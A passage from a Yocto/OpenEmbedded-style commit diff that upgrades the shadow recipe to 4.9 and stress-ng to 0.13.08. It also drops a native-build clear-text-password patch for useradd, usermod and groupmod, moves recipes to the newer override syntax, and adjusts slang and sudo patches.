-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
- }
-@@ -387,11 +388,12 @@ static void process_flags (int argc, char **argv)
- {"new-name", required_argument, NULL, 'n'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {NULL, 0, NULL, '\0'}
- };
-- while ((c = getopt_long (argc, argv, "g:hn:op:R:P:",
-+ while ((c = getopt_long (argc, argv, "g:hn:op:P:R:A:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'g':
-@@ -418,9 +420,17 @@ static void process_flags (int argc, char **argv)
- group_passwd = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- default:
- usage (E_USAGE);
-@@ -761,7 +771,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("groupmod");
- #ifdef WITH_AUDIT
-diff --git a/src/useradd.c b/src/useradd.c
-index 1b7bf06..44f09e2 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -853,9 +853,10 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create users with duplicate\n"
- " (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD encrypted password of the new account\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD clear password of the new account\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL login shell of the new account\n"), usageout);
- (void) fputs (_(" -u, --uid UID user ID of the new account\n"), usageout);
- (void) fputs (_(" -U, --user-group create a group with the same name as the user\n"), usageout);
-@@ -1133,9 +1134,10 @@ static void process_flags (int argc, char **argv)
- {"no-user-group", no_argument, NULL, 'N'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
- {"user-group", no_argument, NULL, 'U'},
-@@ -1146,9 +1148,9 @@ static void process_flags (int argc, char **argv)
- };
- while ((c = getopt_long (argc, argv,
- #ifdef WITH_SELINUX
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:UZ:",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:UZ:",
- #else /* !WITH_SELINUX */
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:U",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:U",
- #endif /* !WITH_SELINUX */
- long_options, NULL)) != -1) {
- switch (c) {
-@@ -1320,12 +1322,19 @@ static void process_flags (int argc, char **argv)
- }
- user_pass = optarg;
- break;
-+ case 'P': /* set clear text password */
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- case 's':
- if ( ( !VALID (optarg) )
-@@ -2257,7 +2266,7 @@ int main (int argc, char **argv)
-
- process_root_flag ("-R", argc, argv);
-
-- prefix = process_prefix_flag("-P", argc, argv);
-+ prefix = process_prefix_flag("-A", argc, argv);
-
- OPENLOG ("useradd");
- #ifdef WITH_AUDIT
-diff --git a/src/usermod.c b/src/usermod.c
-index 21c6da9..cffdb3e 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -431,8 +431,9 @@ static /*@noreturn@*/void usage (int status)
- " new location (use only with -d)\n"), usageout);
- (void) fputs (_(" -o, --non-unique allow using duplicate (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use encrypted password for the new password\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use clear password for the new password\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL new login shell for the user account\n"), usageout);
- (void) fputs (_(" -u, --uid UID new UID for the user account\n"), usageout);
- (void) fputs (_(" -U, --unlock unlock the user account\n"), usageout);
-@@ -1010,8 +1011,9 @@ static void process_flags (int argc, char **argv)
- {"move-home", no_argument, NULL, 'm'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
- {"unlock", no_argument, NULL, 'U'},
-@@ -1027,7 +1029,7 @@ static void process_flags (int argc, char **argv)
- {NULL, 0, NULL, '\0'}
- };
- while ((c = getopt_long (argc, argv,
-- "abc:d:e:f:g:G:hl:Lmop:R:s:u:UP:"
-+ "abc:d:e:f:g:G:hl:Lmop:P:R:s:u:UA:"
- #ifdef ENABLE_SUBIDS
- "v:w:V:W:"
- #endif /* ENABLE_SUBIDS */
-@@ -1130,9 +1132,17 @@ static void process_flags (int argc, char **argv)
- user_pass = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- case 's':
- if (!VALID (optarg)) {
-@@ -2127,7 +2137,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("usermod");
- #ifdef WITH_AUDIT
diff --git a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
index 9825216369..bd24626a26 100644
--- a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
+++ b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
@@ -1,4 +1,4 @@
-From 66533c7c6f347d257020675a1ed6e0c59cbbc3f0 Mon Sep 17 00:00:00 2001
+From 1422c24f7266b553c82100e3d18a10c55cd91063 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Thu, 17 Jul 2014 15:53:34 +0800
Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env
@@ -21,10 +21,10 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
1 file changed, 12 insertions(+), 4 deletions(-)
diff --git a/lib/commonio.c b/lib/commonio.c
-index 16fa7e7..d6bc297 100644
+index cef404b..66908fb 100644
--- a/lib/commonio.c
+++ b/lib/commonio.c
-@@ -632,10 +632,18 @@ int commonio_open (struct commonio_db *db, int mode)
+@@ -646,10 +646,18 @@ int commonio_open (struct commonio_db *db, int mode)
db->cursor = NULL;
db->changed = false;
diff --git a/meta/recipes-extended/shadow/files/useradd b/meta/recipes-extended/shadow/files/useradd
new file mode 100644
index 0000000000..782aeef418
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/useradd
@@ -0,0 +1,8 @@
+# useradd defaults file
+GROUP=100
+HOME=/home
+INACTIVE=-1
+EXPIRE=
+SHELL=/bin/sh
+SKEL=/etc/skel
+CREATE_MAIL_SPOOL=no
diff --git a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
index 1f6232e43c..e05fa237a2 100644
--- a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
+++ b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
@@ -2,7 +2,7 @@ SUMMARY = "Shadow utils requirements for useradd.bbclass"
HOMEPAGE = "http://github.com/shadow-maint/shadow"
BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base utils"
-LICENSE = "BSD | Artistic-1.0"
+LICENSE = "BSD-3-Clause | Artistic-1.0"
LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;md5=25e2f2de4dfc8f966ac5cdfce45cd7d5"
DEPENDS = "base-passwd"
diff --git a/meta/recipes-extended/shadow/shadow.inc b/meta/recipes-extended/shadow/shadow.inc
index f86e5e03c0..c91f2739cf 100644
--- a/meta/recipes-extended/shadow/shadow.inc
+++ b/meta/recipes-extended/shadow/shadow.inc
@@ -1,36 +1,39 @@
SUMMARY = "Tools to change and administer password and group data"
HOMEPAGE = "http://github.com/shadow-maint/shadow"
+DESCRIPTION = "${SUMMARY}"
BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base/utils"
-LICENSE = "BSD | Artistic-1.0"
+LICENSE = "BSD-3-Clause | Artistic-1.0"
LIC_FILES_CHKSUM = "file://COPYING;md5=ed80ff1c2b40843cf5768e5229cf16e5 \
file://src/passwd.c;beginline=2;endline=30;md5=5720ff729a6ff39ecc9f64555d75f4af"
DEPENDS = "virtual/crypt"
UPSTREAM_CHECK_URI = "https://github.com/shadow-maint/shadow/releases"
-SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/${PV}/${BP}.tar.gz \
+SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/v${PV}/${BP}.tar.gz \
file://shadow-4.1.3-dots-in-usernames.patch \
${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \
file://shadow-relaxed-usernames.patch \
+ file://0001-Fix-out-of-tree-builds-with-respect-to-libsubid-incl.patch \
+ file://0001-libsubid-link-to-PAM-libraries.patch \
+ file://0001-libmisc-fix-default-value-in-SHA_get_salt_rounds.patch \
+ file://useradd \
"
-SRC_URI_append_class-target = " \
+SRC_URI:append:class-target = " \
file://login_defs_pam.sed \
file://shadow-update-pam-conf.patch \
"
-SRC_URI_append_class-native = " \
+SRC_URI:append:class-native = " \
file://0001-Disable-use-of-syslog-for-sysroot.patch \
- file://0002-Allow-for-setting-password-in-clear-text.patch \
file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \
"
-SRC_URI_append_class-nativesdk = " \
+SRC_URI:append:class-nativesdk = " \
file://0001-Disable-use-of-syslog-for-sysroot.patch \
"
-SRC_URI[md5sum] = "3d97f11e66bfb0b14702b115fa8be480"
-SRC_URI[sha256sum] = "3ee3081fbbcbcfea5c8916419e46bc724807bab271072104f23e7a29e9668f3a"
+SRC_URI[sha256sum] = "6c4627ff9c9422b96664517ae753c944f2902e92809d0698b65f5fef11985212"
# Additional Policy files for PAM
PAM_SRC_URI = "file://pam.d/chfn \
@@ -45,18 +48,16 @@ inherit autotools gettext
export CONFIG_SHELL="/bin/sh"
-EXTRA_OECONF += "--without-audit \
- --without-libcrack \
- --without-selinux \
+EXTRA_OECONF += "--without-libcrack \
--with-group-name-max-length=24 \
--enable-subordinate-ids=yes \
--without-sssd \
${NSCDOPT}"
NSCDOPT = ""
-NSCDOPT_class-native = "--without-nscd"
-NSCDOPT_class-nativesdk = "--without-nscd"
-NSCDOPT_libc-glibc = "--with-nscd"
+NSCDOPT:class-native = "--without-nscd"
+NSCDOPT:class-nativesdk = "--without-nscd"
+NSCDOPT:libc-glibc = "--with-nscd"
PAM_PLUGINS = "libpam-runtime \
pam-plugin-faildelay \
@@ -71,19 +72,23 @@ PAM_PLUGINS = "libpam-runtime \
pam-plugin-shells \
pam-plugin-rootok"
+PAM_PLUGINS:remove:libc-musl = "pam-plugin-lastlog"
+
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}"
PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl"
+PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux libsemanage"
-RDEPENDS_${PN} = "shadow-securetty \
+RDEPENDS:${PN} = "shadow-securetty \
base-passwd \
util-linux-sulogin"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
do_install() {
oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install
@@ -112,15 +117,11 @@ do_install() {
# Use proper encryption for passwords
sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs
- # Now we don't have a mail system. Disable mail creation for now.
- sed -i 's:/bin/bash:/bin/sh:g' ${D}${sysconfdir}/default/useradd
- sed -i '/^CREATE_MAIL_SPOOL/ s:^:#:' ${D}${sysconfdir}/default/useradd
-
- # Use users group by default
- sed -i 's,^GROUP=1000,GROUP=100,g' ${D}${sysconfdir}/default/useradd
+ install -d ${D}${sysconfdir}/default
+ install -m 0644 ${WORKDIR}/useradd ${D}${sysconfdir}/default
}
-do_install_append() {
+do_install:append() {
# Ensure that the image has as a /var/spool/mail dir so shadow can
# put mailboxes there if the user reconfigures shadow to its
# defaults (see sed below).
@@ -153,7 +154,7 @@ do_install_append() {
}
PACKAGES =+ "${PN}-base"
-FILES_${PN}-base = "\
+FILES:${PN}-base = "\
${base_bindir}/login.shadow \
${base_bindir}/su.shadow \
${bindir}/sg \
@@ -163,31 +164,26 @@ FILES_${PN}-base = "\
${sysconfdir}/pam.d/su \
${sysconfdir}/login.defs \
"
-RDEPENDS_${PN} += "${PN}-base"
+RDEPENDS:${PN} += "${PN}-base"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "200"
-ALTERNATIVE_${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE:${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
+ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd"
ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw"
ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr"
ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
-ALTERNATIVE_${PN}-base = "newgrp groups login su"
+ALTERNATIVE:${PN}-base = "newgrp groups login su"
ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login"
ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
-ALTERNATIVE_${PN}-doc = "passwd.5 getspnam.3 groups.1 su.1 nologin.8"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
-ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
-ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
-
PACKAGE_WRITE_DEPS += "shadow-native"
-pkg_postinst_${PN}_class-target () {
+pkg_postinst:${PN}:class-target () {
if [ "x$D" != "x" ]; then
rootarg="--root $D"
else
diff --git a/meta/recipes-extended/shadow/shadow_4.8.1.bb b/meta/recipes-extended/shadow/shadow_4.8.1.bb
deleted file mode 100644
index c975395ff8..0000000000
--- a/meta/recipes-extended/shadow/shadow_4.8.1.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require shadow.inc
-
-# Build falsely assumes that if --enable-libpam is set, we don't need to link against
-# libcrypt. This breaks chsh.
-BUILD_LDFLAGS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-
-
diff --git a/meta/recipes-extended/shadow/shadow_4.9.bb b/meta/recipes-extended/shadow/shadow_4.9.bb
new file mode 100644
index 0000000000..2fbd81bf72
--- /dev/null
+++ b/meta/recipes-extended/shadow/shadow_4.9.bb
@@ -0,0 +1,11 @@
+require shadow.inc
+
+# Build falsely assumes that if --enable-libpam is set, we don't need to link against
+# libcrypt. This breaks chsh.
+BUILD_LDFLAGS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Severity is low and marked as closed and won't fix.
+# https://bugzilla.redhat.com/show_bug.cgi?id=884658
+CVE_CHECK_WHITELIST += "CVE-2013-4235"
diff --git a/meta/recipes-extended/slang/slang/terminfo_fixes.patch b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
index 3e6d15aa79..3ca20a8cab 100644
--- a/meta/recipes-extended/slang/slang/terminfo_fixes.patch
+++ b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
@@ -2,7 +2,9 @@ Do not use the JD_TERMCAP macro since we cannot get the terminfo from
ncurses pkg-config, but fix the macro to not reference host directories.
Also add src/test/Makefile.in so that we can use -ltermcap if we want to.
-Upstream-Status: Pending
+Upstream isn't going to take this, as it forces blank values and
+removes functionality without replacing it.
+Upstream-Status: Inappropriate [see above]
Signed-off-by: Joe Slater <joe.slater@windriver.com>
diff --git a/meta/recipes-extended/slang/slang_2.3.2.bb b/meta/recipes-extended/slang/slang_2.3.2.bb
index 99efb16da6..443ca0b5e6 100644
--- a/meta/recipes-extended/slang/slang_2.3.2.bb
+++ b/meta/recipes-extended/slang/slang_2.3.2.bb
@@ -27,7 +27,7 @@ SRC_URI[md5sum] = "c2d5a7aa0246627da490be4e399c87cb"
SRC_URI[sha256sum] = "fc9e3b0fc4f67c3c1f6d43c90c16a5c42d117b8e28457c5b46831b8b5d3ae31a"
UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/"
-PREMIRRORS_append = "\n http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/ \n"
+PREMIRRORS:append = " http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/"
inherit autotools-brokensep ptest
CLEANBROKEN = "1"
@@ -42,7 +42,7 @@ PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,p
PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng"
PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib"
-do_configure_prepend() {
+do_configure:prepend() {
cd ${S}/autoconf
# slang keeps configure.ac and rest of autoconf files in autoconf/ directory
# we have to go there to be able to run gnu-configize cause it expects configure.{in,ac}
@@ -74,9 +74,9 @@ do_install_ptest() {
sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl
}
-FILES_${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
+FILES:${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
-RDEPENDS_${PN}-ptest += "make"
+RDEPENDS:${PN}-ptest += "make"
PARALLEL_MAKE = ""
PARALLEL_MAKEINST = ""
diff --git a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch b/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
deleted file mode 100644
index c860c717ac..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From bbc85a439672120fa1d36be79e959b28fe840919 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 30 Jul 2019 18:38:03 +0200
-Subject: [PATCH] Do not preserve ownership when installing example jobs
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index f36e57e..20488af 100644
---- a/Makefile
-+++ b/Makefile
-@@ -452,6 +452,6 @@ install: stress-ng stress-ng.1.gz
- mkdir -p ${DESTDIR}${MANDIR}
- cp stress-ng.1.gz ${DESTDIR}${MANDIR}
- mkdir -p ${DESTDIR}${JOBDIR}
-- cp -rp example-jobs/*.job ${DESTDIR}${JOBDIR}
-+ cp -r example-jobs/*.job ${DESTDIR}${JOBDIR}
- mkdir -p ${DESTDIR}${BASHDIR}
- cp bash-completion/stress-ng ${DESTDIR}${BASHDIR}
diff --git a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch b/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch
deleted file mode 100644
index dba4494b91..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 55e11765af2bdc8adfac87dab1fb2682f7e6c236 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 9 Jun 2020 22:10:28 -0700
-Subject: [PATCH] Define daddr_t if __DADDR_T_TYPE is not defined
-
-glibc defined daddr_t but musl does not, ideally it should not be used
-and simple int type is enough. However, its better to leave glibc behavior
-as it is and only define it to int if daddr_t is not provided by libc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- stress-ng.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/stress-ng.h b/stress-ng.h
-index 1a66293..802dc25 100644
---- a/stress-ng.h
-+++ b/stress-ng.h
-@@ -3763,6 +3763,10 @@ struct shim_statx {
- uint64_t __spare2[14];
- };
-
-+#ifndef __DADDR_T_TYPE
-+typedef int daddr_t;
-+#endif
-+
- /* old ustat struct */
- struct shim_ustat {
- #if defined(HAVE_DADDR_T)
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.11.23.bb b/meta/recipes-extended/stress-ng/stress-ng_0.11.23.bb
deleted file mode 100644
index f09bb24737..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng_0.11.23.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "System load testing utility"
-DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
-imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
-HOMEPAGE = "https://kernel.ubuntu.com/~cking/stress-ng/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "https://kernel.ubuntu.com/~cking/tarballs/${BPN}/${BP}.tar.xz \
- file://0001-Do-not-preserve-ownership-when-installing-example-jo.patch \
- file://no_daddr_t.patch \
- "
-SRC_URI[sha256sum] = "c0a76147a02f4c31af1fb4b9b7e0b90ac8bbd8590ccb54264d5cbe046c769cd2"
-
-DEPENDS = "coreutils-native"
-
-PROVIDES = "stress"
-RPROVIDES_${PN} = "stress"
-RREPLACES_${PN} = "stress"
-RCONFLICTS_${PN} = "stress"
-
-inherit bash-completion
-
-do_install() {
- oe_runmake DESTDIR=${D} install
- ln -s stress-ng ${D}${bindir}/stress
-}
-
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.13.08.bb b/meta/recipes-extended/stress-ng/stress-ng_0.13.08.bb
new file mode 100644
index 0000000000..f7197a27fa
--- /dev/null
+++ b/meta/recipes-extended/stress-ng/stress-ng_0.13.08.bb
@@ -0,0 +1,24 @@
+SUMMARY = "System load testing utility"
+DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
+imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
+HOMEPAGE = "https://github.com/ColinIanKing/stress-ng#readme"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master"
+SRCREV = "0af163e0e378e5c62abb9328a27b653289c05679"
+S = "${WORKDIR}/git"
+
+DEPENDS = "coreutils-native"
+
+PROVIDES = "stress"
+RPROVIDES:${PN} = "stress"
+RREPLACES:${PN} = "stress"
+RCONFLICTS:${PN} = "stress"
+
+inherit bash-completion
+
+do_install() {
+ oe_runmake DESTDIR=${D} install
+ ln -s stress-ng ${D}${bindir}/stress
+}
diff --git a/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch b/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch
new file mode 100644
index 0000000000..f63ed553be
--- /dev/null
+++ b/meta/recipes-extended/sudo/files/0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch
@@ -0,0 +1,25 @@
+From f993c5c88faacc43971899aae2168ffb3e34dc80 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 24 Sep 2021 13:36:24 +0200
+Subject: [PATCH] lib/util/mksigname.c: correctly include header for out of
+ tree builds
+
+Upstream-Status: Submitted [https://github.com/sudo-project/sudo/pull/123]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ lib/util/mksigname.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/util/mksigname.c b/lib/util/mksigname.c
+index de8b1ad..0a69e7e 100644
+--- a/lib/util/mksigname.c
++++ b/lib/util/mksigname.c
+@@ -36,7 +36,7 @@ main(int argc, char *argv[])
+ {
+ unsigned int i;
+
+-#include "mksigname.h"
++#include "lib/util/mksigname.h"
+
+ printf("const char *const sudo_sys_signame[] = {\n");
+ for (i = 0; i < nitems(sudo_sys_signame); i++) {
diff --git a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
index f7ccfdd623..f4fc376bb8 100644
--- a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
+++ b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
@@ -13,11 +13,11 @@ Signed-off-by: Kai Kang <kai.kang@windriver.com>
Upstream-Status: Inappropriate [OE configuration specific]
---
- examples/sudo.conf.in | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
+ examples/sudo.conf.in | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in
-index 19e33ff..af78235 100644
+index 6535d3a..50afc8f 100644
--- a/examples/sudo.conf.in
+++ b/examples/sudo.conf.in
@@ -4,7 +4,7 @@
@@ -29,7 +29,16 @@ index 19e33ff..af78235 100644
# fully qualified.
# The plugin_name corresponds to a global symbol in the plugin
# that contains the plugin interface structure.
-@@ -50,7 +50,7 @@ Plugin sudoers_audit sudoers.so
+@@ -51,7 +51,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_intercept.so file.
+ #
+-#Path intercept @plugindir@/sudo_intercept.so
++#Path intercept $plugindir/sudo_intercept.so
+
+ #
+ # Sudo noexec:
+@@ -65,7 +65,7 @@
# The compiled-in value is usually sufficient and should only be changed
# if you rename or move the sudo_noexec.so file.
#
@@ -38,7 +47,7 @@ index 19e33ff..af78235 100644
#
# Sudo plugin directory:
